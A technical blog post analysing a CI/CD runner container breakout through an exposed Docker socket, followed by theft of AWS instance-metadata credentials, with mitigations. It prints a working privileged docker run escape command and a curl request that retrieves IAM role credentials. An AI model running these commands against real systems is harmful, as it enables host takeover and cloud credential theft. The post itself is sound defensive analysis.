Logo

Container Breakout in CI/CD Runners: A Technical Analysis

CI/CD runners are often the soft underbelly of cloud infrastructure. They require significant privileges to build and deploy software, yet are frequently subjected to untrusted code execution (PR previews, test suites).

This post analyzes the "Agent Smith" exploit chain, a Proof-of-Concept demonstrating how a standard "Docker-in-Docker" configuration leads to full host compromise and cloud account takeover.

The Misconfiguration: Exposed Socket

To enable a container (the runner) to build other containers, a common pattern is to mount the host's Docker socket.

# docker-compose.yml example
services:
  runner:
    image: my-ci-agent
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

This configuration effectively grants the container root access to the host. The socket allows the container to issue commands to the Docker daemon running on the host OS.

Phase 1: The Breakout

The attacker, executing code within the runner, uses the mounted socket to spawn a new container. This sibling container is configured to break isolation.

docker run -d \
  --privileged \
  --net=host \
  --pid=host \
  -v /:/host \
  alpine \
  chroot /host

The Flags:

  • --privileged: Disables seccomp profiles and grants all capabilities.
  • --net=host: Shares the host's network namespace.
  • --pid=host: Shares the host's process namespace.
  • -v /:/host: Mounts the host's root filesystem to /host inside the container.

By executing chroot /host, the process effectively becomes a root process on the host machine. The container boundary is dissolved.

Phase 2: Cloud Lateral Movement

Once on the host network namespace, the attacker targets the Cloud Provider's Instance Metadata Service (IMDS).

On AWS, this service listens on a link-local address.

# Requesting temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/RunnersRole

Response:

{
  "Code" : "Success",
  "LastUpdated" : "2025-12-26T12:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "...",
  "Token" : "..."
}

Even with IMDSv2 (which requires a session token), an attacker with host network access can successfully negotiate the token handshake, as they originate from the authorized IP.

Mitigation and Conclusion

Securing runners requires removing the ability to influence the host.

1. Daemonless Builds

Use tools like Kaniko or Buildah which can build container images in userspace without requiring a daemon socket.

2. VM Isolation

Run untrusted workloads in microVMs (like Firecracker or gVisor) rather than standard containers. This ensures that a breakout lands in a restricted guest kernel, not the host.

3. Network Restrictions

Block access to the IMDS IP (169.254.169.254) via iptables on the host, ensuring only specific processes (or none) can request credentials.

What This Means

The security of CI/CD infrastructure cannot rely on container isolation alone when privileged sockets are exposed. A defense-in-depth approach—combining daemonless builds, kernel-level isolation, and strict network egress policies—is required to mitigate the risk of host compromise and cloud lateral movement.